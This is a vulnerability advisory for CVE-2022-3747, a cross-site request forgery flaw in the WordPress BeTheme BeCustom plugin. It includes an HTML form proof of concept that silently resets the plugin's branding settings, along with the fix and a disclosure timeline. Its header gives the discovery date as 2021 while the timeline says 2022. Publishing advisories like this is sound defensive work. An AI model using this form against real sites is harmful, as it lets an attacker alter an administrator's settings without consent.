Headline
WordPress BeTheme BeCustom 1.0.5.2 Cross Site Request Forgery
WordPress BeTheme BeCustom plugin versions 1.0.5.2 and below suffer from a cross site request forgery vulnerability.
RCE Security Advisory
https://www.rcesecurity.com
ADVISORY INFORMATION
=======================
Product: BeCustom Wordpress Plugin
Vendor URL: https://muffingroup.com/betheme/features/be-custom/
Type: Cross-Site Request Forgery [CWE-253]
Date found: 2021-10-28
Date published: 2022-11-10
CVSSv3 Score: 5.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N)
CVE: CVE-2022-3747CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.VERSIONS AFFECTED
====================
BeTheme BeCustom 1.0.5.2 and belowINTRODUCTION
===============
Built in-house add-on, perfect for agencies and web developers will let you rebrand
Be & WordPresss Admin to your own product by replacing all the Be & Muffin logos with
own.
This tool is supplied exclusively to the customers of Betheme and allows for changes
like: complete dashboard customization, replacement of logos, colors managment and much
more. With just a few clicks, you will turn the Be & Muffin brand into yours, thanks to
which you will increase the trust of your customers.
Moreover, from now on you can also customize the WPLogin page.
(from the vendor’s homepage)
- VULNERABILITY DETAILS
========================
The WordPress plugin lacks an anti-CSRF protection on all of its functionalities, which
ultimately allows an attacker to (amongst others):
- Set custom brandings
- Enable/Disable BeCustom features
- Modify the WP Login view
- Modify the BeDashboard texts
Since there is no anti-CSRF token protecting these functionalities, they are
vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform
a variety of attacks as mentioned above.
To successfully exploit this vulnerability, a user with the right to access the
plugin must be tricked into visiting an arbitrary website while having an authenticated
session in the application.
- PROOF OF CONCEPT
===================
An exemplary exploit to reset the plugin’s configuration:
<html>
<body>
<form action="http://localhost/wp-admin/admin.php?page=be_custom_branding" method="POST">
<input type="hidden" name="betheme_label" value="" />
<input type="hidden" name="betheme_url_slug" value="" />
<input type="hidden" name="replaced_logo_url" value="" />
<input type="hidden" name="replaced_theme_image" value="" />
<input type="hidden" name="replaced_theme_desc" value="" />
<input type="hidden" name="replaced_theme_author" value="Muffin Group 1337" />
<input type="hidden" name="submit" value="Save changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
SOLUTION
===========
Update to BeCustom 1.0.5.3REPORT TIMELINE
==================
2022-10-28: Discovery of the vulnerability
2022-10-28: CVE requested from Wordfence (CNA)
2022-10-28: Wordfence assigns CVE-2022-3747
2022-11-01: Vendor notification
2022-11-07: No response. Sent another notification.
2022-11-08: Opened up a security support case on envato.com
2022-11-xx: Vendor publishes version 1.0.5.3 without notification which fixes this issue
2022-11-10: Public disclosureREFERENCES
=============
https://github.com/MrTuxracer/advisories
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